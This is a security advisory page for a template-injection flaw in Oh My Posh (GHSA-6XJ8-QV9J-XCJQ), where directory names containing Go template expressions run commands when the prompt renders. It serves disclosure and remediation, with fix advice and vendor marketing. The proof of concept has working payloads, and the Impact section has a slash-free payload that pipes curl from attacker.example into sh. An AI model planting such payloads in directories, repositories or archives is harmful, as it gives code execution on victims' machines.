Summary
Oh My Posh: Arbitrary command execution via template injection in the path segment
Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.
Details
src/segments/path.go, setStyle():
// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
pt.Path = txt
}
pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:
func cmd(command string, args ...string) (string, error) {
output, err := env.RunCommand(command, args...)
return strings.TrimSpace(output), err
}
Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.
PoC
Config (a single default path segment):
{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
{"type":"path","style":"plain","foreground":"#ffffff",
"template":"{{ .Path }}","properties":{"style":"full"}}]}]}
Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):
$ oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username> # whoami executed, output substituted
Side effect (file write), slash-free payload, verified on Windows:
$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d
Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.
Impact
Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.
The path is split on / (and \ on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS {{ cmd sh -c curl${IFS}-s${IFS}attacker.example|sh }} needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name ({{ cmd bash x }}).
Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (folder_separator_template, mapped_locations, folder_format) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape {{/}} in raw folder-name components before insertion, or use a data-only function map (no cmd/readFile/stat/glob) for path resolution. The same double-evaluation pattern is worth reviewing at src/segments/options/map.go.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
GHSA-6XJ8-QV9J-XCJQ has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (29.35.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-6XJ8-QV9J-XCJQ? GHSA-6XJ8-QV9J-XCJQ is a high-severity code injection vulnerability in github.com/jandedobbeleer/oh-my-posh (go), affecting versions <= 29.35.0. It is fixed in 29.35.1. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is GHSA-6XJ8-QV9J-XCJQ? GHSA-6XJ8-QV9J-XCJQ has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/jandedobbeleer/oh-my-posh are affected by GHSA-6XJ8-QV9J-XCJQ? github.com/jandedobbeleer/oh-my-posh (go) versions <= 29.35.0 is affected.
- Is there a fix for GHSA-6XJ8-QV9J-XCJQ? Yes. GHSA-6XJ8-QV9J-XCJQ is fixed in 29.35.1. Upgrade to this version or later.
- Is GHSA-6XJ8-QV9J-XCJQ exploitable, and should I be worried? Whether GHSA-6XJ8-QV9J-XCJQ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-6XJ8-QV9J-XCJQ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-6XJ8-QV9J-XCJQ? Upgrade
github.com/jandedobbeleer/oh-my-poshto 29.35.1 or later.